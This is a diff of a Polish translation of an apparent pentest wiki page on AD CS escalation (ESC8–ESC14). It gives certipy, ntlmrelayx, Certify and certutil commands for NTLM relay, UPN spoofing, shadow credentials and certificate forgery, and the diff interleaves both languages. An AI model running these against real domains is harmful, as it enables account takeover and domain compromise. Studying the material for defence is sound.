NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane dla wiązania kanałów. +- The **web enrollment interface** (an older ASP application available at `http:///certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable. +- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding. -Powszechnym **problemem** z atakami NTLM relay jest **krótki czas trwania sesji NTLM** oraz niemożność atakującego do interakcji z usługami, które **wymagają podpisywania NTLM**. +A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**. -Niemniej jednak, to ograniczenie jest przezwyciężane przez wykorzystanie ataku NTLM relay do uzyskania certyfikatu dla użytkownika, ponieważ okres ważności certyfikatu dyktuje czas trwania sesji, a certyfikat może być używany z usługami, które **wymagają podpisywania NTLM**. Aby uzyskać instrukcje dotyczące wykorzystania skradzionego certyfikatu, zapoznaj się z: +Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to: {{#ref}} account-persistence.md {{#endref}} -Innym ograniczeniem ataków NTLM relay jest to, że **maszyna kontrolowana przez atakującego musi być uwierzytelniona przez konto ofiary**. Atakujący może albo czekać, albo próbować **wymusić** to uwierzytelnienie: +Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication: {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Nadużycie** +### **Abuse** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeruje **włączone punkty końcowe HTTP AD CS**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: ``` Certify.exe cas ```
-Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne urzędy certyfikacji (CAs) do przechowywania punktów końcowych usługi rejestracji certyfikatów (CES). Punkty te można analizować i wyświetlać za pomocą narzędzia **Certutil.exe**: +Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne Certificate Authorities (CAs) do przechowywania punktów końcowych Certificate Enrollment Service (CES). Te punkty końcowe można sparsować i wypisać za pomocą narzędzia **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -405,7 +424,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Nadużycie z Certify +#### Nadużycie za pomocą Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -420,11 +439,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### Wykorzystanie z [Certipy](https://github.com/ly4k/Certipy) -Żądanie certyfikatu jest domyślnie składane przez Certipy na podstawie szablonu `Machine` lub `User`, w zależności od tego, czy nazwa konta, które jest przekazywane, kończy się na `$`. Określenie alternatywnego szablonu można osiągnąć za pomocą parametru `-template`. +Żądanie certyfikatu jest domyślnie wykonywane przez Certipy na podstawie szablonu `Machine` lub `User`, w zależności od tego, czy nazwa konta będąca relayed kończy się na `$`. Wskazanie innego szablonu można zrealizować przy użyciu parametru `-template`. -Technika taka jak [PetitPotam](https://github.com/ly4k/PetitPotam) może być następnie użyta do wymuszenia uwierzytelnienia. W przypadku kontrolerów domeny wymagane jest określenie `-template DomainController`. +Technikę taką jak [PetitPotam](https://github.com/ly4k/PetitPotam) można wtedy wykorzystać do wymuszenia uwierzytelnienia. W przypadku kontrolerów domeny wymagane jest użycie `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,127 +456,127 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Brak rozszerzenia bezpieczeństwa - ESC9 -### Explanation +### Wyjaśnienie -Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, określana jako ESC9, zapobiega osadzaniu **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (domyślne ustawienie), co kontrastuje z ustawieniem `2`. Jej znaczenie wzrasta w scenariuszach, w których słabsze mapowanie certyfikatów dla Kerberos lub Schannel może być wykorzystane (jak w ESC10), biorąc pod uwagę, że brak ESC9 nie zmieniłby wymagań. +Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, nazywana ESC9, uniemożliwia osadzenie **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (ustawienie domyślne), w przeciwieństwie do ustawienia `2`. Jej znaczenie wzrasta w scenariuszach, w których można by wykorzystać słabsze mapowanie certyfikatu dla Kerberos lub Schannel (jak w ESC10), ponieważ brak ESC9 nie zmieniałby wymagań. Warunki, w których ustawienie tej flagi staje się istotne, obejmują: -- `StrongCertificateBindingEnforcement` nie jest dostosowane do `2` (z domyślnym ustawieniem `1`), lub `CertificateMappingMethods` zawiera flagę `UPN`. +- `StrongCertificateBindingEnforcement` nie jest ustawione na `2` (domyślnie `1`), lub `CertificateMappingMethods` zawiera flagę `UPN`. - Certyfikat jest oznaczony flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`. -- Jakiekolwiek EKU uwierzytelniania klienta jest określone przez certyfikat. -- Uprawnienia `GenericWrite` są dostępne dla dowolnego konta, aby skompromitować inne. +- Certyfikat określa dowolne EKU do uwierzytelniania klienta. +- Dostępne są uprawnienia `GenericWrite` do dowolnego konta, umożliwiające skompromitowanie innego. -### Abuse Scenario +### Scenariusz nadużycia -Załóżmy, że `John@corp.local` ma uprawnienia `GenericWrite` do `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, w który `Jane@corp.local` ma prawo się zarejestrować, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w swoim ustawieniu `msPKI-Enrollment-Flag`. +Załóżmy, że `John@corp.local` ma uprawnienia `GenericWrite` nad `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, w którym `Jane@corp.local` ma prawo się zarejestrować, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`. -Początkowo, hash `Jane` jest pozyskiwany za pomocą Shadow Credentials, dzięki `GenericWrite` `Johna`: +Początkowo hash `Jane` zostaje pozyskany przy użyciu Shadow Credentials, dzięki uprawnieniom `GenericWrite` Johna: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Następnie `Jane`'s `userPrincipalName` jest modyfikowany na `Administrator`, celowo pomijając część domeny `@corp.local`: +Następnie `userPrincipalName` użytkownika `Jane` zostaje zmieniony na `Administrator`, celowo pomijając część domenową `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` `Administratora`. +Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` użytkownika `Administrator`. -Po tym, szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany jako `Jane`: +Następnie szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany przez `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` Zauważono, że `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek „object SID”. -`userPrincipalName` `Jane` jest następnie przywracany do jej oryginalnego, `Jane@corp.local`: +Następnie `userPrincipalName` użytkowniczki `Jane` zostaje przywrócone do jej pierwotnego `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Próba uwierzytelnienia za pomocą wydanego certyfikatu teraz zwraca hasz NT `Administrator@corp.local`. Polecenie musi zawierać `-domain ` z powodu braku specyfikacji domeny w certyfikacie: +Próba uwierzytelnienia przy użyciu wydanego certyfikatu teraz zwraca hash NT użytkownika `Administrator@corp.local`. Polecenie musi zawierać `-domain ` z powodu braku określenia domeny w certyfikacie: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Słabe mapowania certyfikatów - ESC10 +## Weak Certificate Mappings - ESC10 ### Wyjaśnienie -Dwie wartości kluczy rejestru na kontrolerze domeny są określane przez ESC10: +ESC10 odnosi się do dwóch wartości kluczy rejestru na kontrolerze domeny: -- Wartość domyślna dla `CertificateMappingMethods` w `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`. -- Domyślne ustawienie dla `StrongCertificateBindingEnforcement` w `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`. +- Domyślna wartość dla `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`. +- Domyślne ustawienie dla `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`. -**Przypadek 1** +### Przypadek 1 -Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`. +Gdy `StrongCertificateBindingEnforcement` jest skonfigurowany jako `0`. -**Przypadek 2** +### Przypadek 2 Jeśli `CertificateMappingMethods` zawiera bit `UPN` (`0x4`). ### Przypadek nadużycia 1 -Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`, konto A z uprawnieniami `GenericWrite` może być wykorzystane do skompromitowania dowolnego konta B. +Gdy `StrongCertificateBindingEnforcement` jest ustawiony na `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do przejęcia dowolnego konta B. -Na przykład, mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do skompromitowania `Administrator@corp.local`. Procedura odzwierciedla ESC9, pozwalając na wykorzystanie dowolnego szablonu certyfikatu. +Na przykład mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do przejęcia `Administrator@corp.local`. Procedura jest analogiczna do ESC9, umożliwiając użycie dowolnego szablonu certyfikatu. -Początkowo, hash `Jane` jest pobierany za pomocą Shadow Credentials, wykorzystując `GenericWrite`. +Na początku hash `Jane` jest pozyskiwany przy użyciu Shadow Credentials, wykorzystując `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Następnie `userPrincipalName` `Jane` jest zmieniany na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczenia. +Następnie wartość `userPrincipalName` użytkownika `Jane` zostaje zmieniona na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczenia. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Następnie żądany jest certyfikat umożliwiający uwierzytelnianie klienta jako `Jane`, przy użyciu domyślnego szablonu `User`. +Następnie jako `Jane` zostaje wystąpione o certyfikat umożliwiający uwierzytelnianie klienta, korzystając z domyślnego szablonu `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` `Jane` jest następnie przywracany do swojej oryginalnej postaci, `Jane@corp.local`. +Następnie wartość `userPrincipalName` użytkownika `Jane` zostaje przywrócona do pierwotnej: `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Uwierzytelnienie za pomocą uzyskanego certyfikatu da NT hash `Administrator@corp.local`, co wymaga określenia domeny w poleceniu z powodu braku szczegółów domeny w certyfikacie. +Uwierzytelnienie uzyskanym certyfikatem zwróci NT hash `Administrator@corp.local`, dlatego w poleceniu trzeba określić domenę, ponieważ certyfikat nie zawiera informacji o domenie. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### Scenariusz nadużycia 2 -Z flagiem bitowym `UPN` w `CertificateMappingMethods` (`0x4`), konto A z uprawnieniami `GenericWrite` może skompromitować każde konto B, które nie ma właściwości `userPrincipalName`, w tym konta maszynowe oraz wbudowanego administratora domeny `Administrator`. +Jeśli `CertificateMappingMethods` zawiera flagę bitową `UPN` (`0x4`), konto A z uprawnieniami `GenericWrite` może przejąć dowolne konto B nieposiadające właściwości `userPrincipalName`, w tym konta maszynowe oraz wbudowane konto administratora domeny `Administrator`. -Celem jest skompromitowanie `DC$@corp.local`, zaczynając od uzyskania hasha `Jane` za pomocą Shadow Credentials, wykorzystując `GenericWrite`. +Tutaj celem jest przejęcie `DC$@corp.local`, zaczynając od uzyskania hasha `Jane` przez Shadow Credentials, wykorzystując `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` jest następnie ustawiony na `DC$@corp.local`. +`userPrincipalName` użytkowniczki `Jane` jest wtedy ustawiony na `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Certyfikat do uwierzytelniania klienta jest żądany jako `Jane` przy użyciu domyślnego szablonu `User`. +Wystąpiono o certyfikat do uwierzytelniania klienta jako `Jane`, używając domyślnego szablonu `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` jest przywracany do pierwotnej wersji po tym procesie. +`userPrincipalName` użytkownika `Jane` zostaje przywrócony do pierwotnej wartości po tym procesie. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Aby uwierzytelnić się za pomocą Schannel, używana jest opcja `-ldap-shell` Certipy, co wskazuje na pomyślne uwierzytelnienie jako `u:CORP\DC$`. +Do uwierzytelnienia przez Schannel użyto opcji `-ldap-shell` w Certipy, co wskazuje powodzenie uwierzytelnienia jako `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Poprzez powłokę LDAP, polecenia takie jak `set_rbcd` umożliwiają ataki oparte na delegacji ograniczonej zasobami (RBCD), co może zagrozić kontrolerowi domeny. +Za pośrednictwem powłoki LDAP polecenia takie jak `set_rbcd` umożliwiają ataki Resource-Based Constrained Delegation (RBCD), potencjalnie kompromitując kontroler domeny. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Ta luka dotyczy również każdego konta użytkownika, które nie ma `userPrincipalName` lub gdy nie pasuje do `sAMAccountName`, przy czym domyślne `Administrator@corp.local` jest głównym celem z powodu swoich podwyższonych uprawnień LDAP i braku `userPrincipalName` domyślnie. +Ta luka dotyczy również każdego konta użytkownika, które nie ma ustawionego `userPrincipalName` lub którego `userPrincipalName` nie odpowiada `sAMAccountName`. Domyślne konto `Administrator@corp.local` jest szczególnie atrakcyjnym celem ze względu na podwyższone uprawnienia LDAP i domyślny brak `userPrincipalName`. -## Relaying NTLM do ICPR - ESC11 +## Relaying NTLM to ICPR - ESC11 ### Wyjaśnienie -Jeśli serwer CA nie jest skonfigurowany z `IF_ENFORCEENCRYPTICERTREQUEST`, może to prowadzić do ataków NTLM relay bez podpisywania za pośrednictwem usługi RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Jeśli CA Server nie jest skonfigurowany z `IF_ENFORCEENCRYPTICERTREQUEST`, umożliwia to przeprowadzenie ataków relay NTLM bez podpisywania za pośrednictwem usługi RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Możesz użyć `certipy`, aby sprawdzić, czy `Enforce Encryption for Requests` jest wyłączone, a certipy pokaże luki `ESC11`. +Możesz użyć `certipy`, aby sprawdzić, czy `Enforce Encryption for Requests` jest Disabled; certipy pokaże wtedy podatności `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -576,7 +595,7 @@ ESC11 : Encryption is not enforced for ICPR requests ``` ### Scenariusz nadużycia -Należy skonfigurować serwer przekaźnikowy: +Konieczne jest skonfigurowanie serwera przekaźnikowego: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -597,27 +616,27 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) ``` Uwaga: Dla kontrolerów domeny musimy określić `-template` w DomainController. -Lub używając [forka sploutchy'ego impacket](https://github.com/sploutchy/impacket): +Lub używając [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` ## Shell access to ADCS CA with YubiHSM - ESC12 -### Explanation +### Wyjaśnienie -Administratorzy mogą skonfigurować Urząd Certyfikacji, aby przechowywał go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2". +Administratorzy mogą skonfigurować Certificate Authority tak, aby była przechowywana na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2". -Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub serwer urządzenia USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniający (czasami nazywany "hasłem"), aby Dostawca Przechowywania Kluczy mógł generować i wykorzystywać klucze w YubiHSM. +Jeżeli urządzenie USB jest podłączone do serwera CA przez port USB, lub przez USB device server w przypadku, gdy serwer CA jest maszyną wirtualną, dla Key Storage Provider wymagany jest authentication key (czasami określany jako "password"), aby generować i wykorzystywać klucze w YubiHSM. -Ten klucz/hasło jest przechowywane w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci niezaszyfrowanej. +Ten key/password jest przechowywany w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci jawnego tekstu. -Referencja [tutaj](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Odniesienie w [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Abuse Scenario +### Scenariusz nadużycia -Jeśli prywatny klucz CA jest przechowywany na fizycznym urządzeniu USB, gdy uzyskasz dostęp do powłoki, możliwe jest odzyskanie klucza. +Jeśli prywatny klucz CA jest przechowywany na fizycznym urządzeniu USB, to mając shell access możliwe jest odzyskanie klucza. -Najpierw musisz uzyskać certyfikat CA (to jest publiczne), a następnie: +Najpierw musisz uzyskać certyfikat CA (jest on publiczny) i następnie: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -631,11 +650,11 @@ Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyf ### Wyjaśnienie -Atrybut `msPKI-Certificate-Policy` pozwala na dodanie polityki wydania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za wydawanie polityk, można odkryć w Konfiguracji Nazewnictwa (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu `msDS-OIDToGroupLink` tego obiektu, co umożliwia systemowi autoryzację użytkownika, który przedstawia certyfikat, tak jakby był członkiem grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Atrybut `msPKI-Certificate-Policy` pozwala dodać politykę wydawania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za polityki wydawania, można odnaleźć w Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu tego obiektu `msDS-OIDToGroupLink`, co pozwala systemowi autoryzować użytkownika, który przedstawi certyfikat, tak jakby był członkiem tej grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Innymi słowy, gdy użytkownik ma uprawnienia do rejestracji certyfikatu, a certyfikat jest powiązany z grupą OID, użytkownik może dziedziczyć uprawnienia tej grupy. +Innymi słowy, gdy użytkownik ma uprawnienie do enroll certyfikatu i certyfikat jest powiązany z grupą OID, użytkownik może odziedziczyć uprawnienia tej grupy. -Użyj [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1), aby znaleźć OIDToGroupLink: +Użyj [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) aby znaleźć OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -659,72 +678,72 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Scenariusz nadużycia -Znajdź uprawnienia użytkownika, które można wykorzystać za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`. +Znajdź uprawnienie użytkownika — możesz użyć `certipy find` lub `Certify.exe find /showAllPermissions`. -Jeśli `John` ma uprawnienia do rejestracji `VulnerableTemplate`, użytkownik może dziedziczyć uprawnienia grupy `VulnerableGroup`. +Jeżeli `John` ma uprawnienie do rejestracji `VulnerableTemplate`, użytkownik może odziedziczyć uprawnienia grupy `VulnerableGroup`. -Wystarczy określić szablon, a otrzyma certyfikat z prawami OIDToGroupLink. +Wystarczy, że określi szablon — otrzyma certyfikat z uprawnieniami OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Konfiguracja odnawiania certyfikatów podatnych na ataki - ESC14 +## Niebezpieczna konfiguracja odnowienia certyfikatu - ESC14 ### Wyjaśnienie -Opis na https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping jest niezwykle szczegółowy. Poniżej znajduje się cytat z oryginalnego tekstu. +Opis pod adresem https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping jest niezwykle szczegółowy. Poniżej przytoczono oryginalny tekst. -ESC14 dotyczy luk wynikających z "słabego jawnego mapowania certyfikatów", głównie poprzez niewłaściwe lub niebezpieczne skonfigurowanie atrybutu `altSecurityIdentities` na kontach użytkowników lub komputerów Active Directory. Ten atrybut wielowartościowy pozwala administratorom ręcznie powiązać certyfikaty X.509 z kontem AD w celach uwierzytelniania. Gdy jest wypełniony, te jawne mapowania mogą nadpisywać domyślną logikę mapowania certyfikatów, która zazwyczaj opiera się na UPN lub nazwach DNS w SAN certyfikatu, lub na SID osadzonym w rozszerzeniu bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 dotyczy luk wynikających ze "słabego jawnego mapowania certyfikatów", głównie przez niewłaściwe wykorzystanie lub niebezpieczną konfigurację atrybutu `altSecurityIdentities` na kontach użytkowników lub komputerów w Active Directory. Ten atrybut wielowartościowy pozwala administratorom ręcznie powiązać certyfikaty X.509 z kontem AD do celów uwierzytelniania. Gdy jest wypełniony, te jawne mapowania mogą zastąpić domyślną logikę mapowania certyfikatów, która zwykle opiera się na UPN lub nazwach DNS w SAN certyfikatu, lub na SID osadzonym w rozszerzeniu bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`. -"Słabe" mapowanie występuje, gdy wartość ciągu używana w atrybucie `altSecurityIdentities` do identyfikacji certyfikatu jest zbyt ogólna, łatwa do odgadnięcia, opiera się na nieunikalnych polach certyfikatu lub używa łatwych do sfałszowania komponentów certyfikatu. Jeśli atakujący może uzyskać lub stworzyć certyfikat, którego atrybuty pasują do tak słabo zdefiniowanego jawnego mapowania dla uprzywilejowanego konta, może użyć tego certyfikatu do uwierzytelnienia się jako to konto i podszywania się pod nie. +"Ślabe" mapowanie występuje, gdy wartość tekstowa użyta w `altSecurityIdentities` do identyfikacji certyfikatu jest zbyt ogólna, łatwa do odgadnięcia, opiera się na nieunikalnych polach certyfikatu lub używa łatwych do podrobienia komponentów certyfikatu. Jeśli atakujący może uzyskać lub stworzyć certyfikat, którego atrybuty pasują do tak słabo zdefiniowanego jawnego mapowania dla uprzywilejowanego konta, może użyć tego certyfikatu do uwierzytelnienia się jako to konto i podszywania się pod nie. -Przykłady potencjalnie słabych ciągów mapowania `altSecurityIdentities` obejmują: +Przykłady potencjalnie słabych ciągów mapowania w `altSecurityIdentities` obejmują: -- Mapowanie wyłącznie na podstawie wspólnej nazwy podmiotu (CN): np. `X509:CN=SomeUser`. Atakujący może być w stanie uzyskać certyfikat z tym CN z mniej bezpiecznego źródła. -- Używanie zbyt ogólnych nazw wyróżniających wystawcy (DN) lub DN podmiotu bez dalszej kwalifikacji, takiej jak konkretny numer seryjny lub identyfikator klucza podmiotu: np. `X509:CN=SomeInternalCACN=GenericUser`. -- Stosowanie innych przewidywalnych wzorców lub identyfikatorów niekryptograficznych, które atakujący może być w stanie spełnić w certyfikacie, który może legalnie uzyskać lub sfałszować (jeśli skompromitował CA lub znalazł podatny szablon, jak w ESC1). +- Mapowanie wyłącznie po powszechnym Subject Common Name (CN): np. `X509:CN=SomeUser`. Atakujący może być w stanie uzyskać certyfikat z takim CN z mniej bezpiecznego źródła. +- Używanie zbyt ogólnych Issuer Distinguished Names (DN) lub Subject DNs bez dalszego kwalifikowania, np. konkretnego numeru seryjnego lub subject key identifier: np. `X509:CN=SomeInternalCACN=GenericUser`. +- Stosowanie innych przewidywalnych wzorców lub niekryptograficznych identyfikatorów, które atakujący może być w stanie spełnić w certyfikacie, który może legalnie uzyskać lub sfałszować (jeśli przełamał CA lub znalazł podatny szablon, jak w ESC1). Atrybut `altSecurityIdentities` obsługuje różne formaty mapowania, takie jak: -- `X509:IssuerDNSubjectDN` (mapuje według pełnego DN wystawcy i podmiotu) -- `X509:SubjectKeyIdentifier` (mapuje według wartości rozszerzenia identyfikatora klucza podmiotu certyfikatu) -- `X509:SerialNumberBackedByIssuerDN` (mapuje według numeru seryjnego, implicitnie kwalifikowanego przez DN wystawcy) - to nie jest standardowy format, zazwyczaj to `IssuerDNSerialNumber`. -- `X509:EmailAddress` (mapuje według nazwy RFC822, zazwyczaj adresu e-mail, z SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (mapuje według hasha SHA1 surowego klucza publicznego certyfikatu - zazwyczaj silne) +- `X509:IssuerDNSubjectDN` (mapuje po pełnych DN wydawcy i DN podmiotu) +- `X509:SubjectKeyIdentifier` (mapuje po wartości rozszerzenia Subject Key Identifier certyfikatu) +- `X509:SerialNumberBackedByIssuerDN` (mapuje po numerze seryjnym, implicitnie kwalifikowanym przez Issuer DN) - to nie jest standardowy format, zwykle jest to `IssuerDNSerialNumber`. +- `X509:EmailAddress` (mapuje po nazwie RFC822, typowo adresie e-mail, z SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (mapuje po hashu SHA1 surowego klucza publicznego certyfikatu - generalnie silne) -Bezpieczeństwo tych mapowań w dużej mierze zależy od specyficzności, unikalności i kryptograficznej siły wybranych identyfikatorów certyfikatów użytych w ciągu mapowania. Nawet przy włączonych silnych trybach powiązania certyfikatów na kontrolerach domeny (które głównie wpływają na implicitne mapowania oparte na SAN UPN/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` może nadal stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt liberalna. +Bezpieczeństwo tych mapowań w dużej mierze zależy od szczegółowości, unikalności i kryptograficznej siły wybranych identyfikatorów certyfikatu użytych w ciągu mapowania. Nawet przy włączonych silnych trybach wiązania certyfikatów na Domain Controllers (które głównie wpływają na mapowania implicit oparte na SAN UPNs/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` nadal może stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt permisywna. ### Scenariusz nadużycia -ESC14 celuje w **jawne mapowania certyfikatów** w Active Directory (AD), szczególnie w atrybut `altSecurityIdentities`. Jeśli ten atrybut jest ustawiony (z zamiarem lub przez błędną konfigurację), atakujący mogą podszywać się pod konta, przedstawiając certyfikaty, które pasują do mapowania. +ESC14 celuje w **jawne mapowania certyfikatów** w Active Directory (AD), konkretnie w atrybut `altSecurityIdentities`. Jeśli ten atrybut jest ustawiony (zgodnie z zamierzeniem lub przez błędną konfigurację), atakujący może podszyć się 